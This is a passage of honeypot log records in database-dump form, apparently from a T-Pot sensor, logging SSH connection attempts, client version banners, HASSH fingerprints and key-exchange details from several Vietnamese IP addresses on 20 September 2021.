22940	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:31.234746+03	2021-09-20 14:15:06.86247+03	{"_id": "6gbjAnwBvYTbRNuEugvi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "a11410308f1c", "@version": "1", "duration": 2.697861909866333, "timestamp": "2021-09-20T11:07:31.234746Z", "@timestamp": "2021-09-20T11:07:31.234Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22941	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:30.958542+03	2021-09-20 14:15:06.86447+03	{"_id": "9gbjAnwBvYTbRNuEvQtW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1547598778473795, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51708, "dest_port": 22, "timestamp": "2021-09-20T11:07:30.958542Z", "@timestamp": "2021-09-20T11:07:30.958Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
22943	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:31.485631+03	2021-09-20 14:15:06.86647+03	{"_id": "-gbjAnwBvYTbRNuEvgvN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:46074 (192.168.176.2:22) [session: 2ce15ba32ccc]", "session": "2ce15ba32ccc", "@version": "1", "protocol": "ssh", "src_port": 46074, "dest_port": 22, "timestamp": "2021-09-20T11:07:31.485631Z", "@timestamp": "2021-09-20T11:07:31.485Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22944	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:31.085242+03	2021-09-20 14:15:06.868472+03	{"_id": "AgbjAnwBvYTbRNuEvgzN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 53256, "dest_port": 22, "timestamp": "2021-09-20T11:07:31.085242", "@timestamp": "2021-09-20T11:07:31.085Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
22945	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:07:31.765473+03	2021-09-20 14:15:06.87047+03	{"_id": "AwbjAnwBvYTbRNuEvgzN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 46074, "dest_port": 22, "timestamp": "2021-09-20T11:07:31.765473", "@timestamp": "2021-09-20T11:07:31.765Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22946	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:07:32.22615+03	2021-09-20 14:15:06.87147+03	{"_id": "EwbjAnwBvYTbRNuEwQw_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 888931183974854, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58776, "dest_port": 22, "timestamp": "2021-09-20T11:07:32.226150Z", "@timestamp": "2021-09-20T11:07:32.226Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22947	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:32.655534+03	2021-09-20 14:15:06.872471+03	{"_id": "GgbjAnwBvYTbRNuEwgy2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "24fb7f858792", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:32.655534Z", "@timestamp": "2021-09-20T11:07:32.655Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
22948	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:32.930119+03	2021-09-20 14:15:06.87447+03	{"_id": "IwbjAnwBvYTbRNuEwgy4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 45328, "dest_port": 22, "timestamp": "2021-09-20T11:07:32.930119", "@timestamp": "2021-09-20T11:07:32.930Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
22949	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:32.93166+03	2021-09-20 14:15:06.875471+03	{"_id": "IQbjAnwBvYTbRNuEwgy4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "24fb7f858792", "@version": "1", "timestamp": "2021-09-20T11:07:32.931660Z", "@timestamp": "2021-09-20T11:07:32.931Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
22950	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:32.946742+03	2021-09-20 14:15:06.876471+03	{"_id": "PQbjAnwBvYTbRNuEwgy_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": 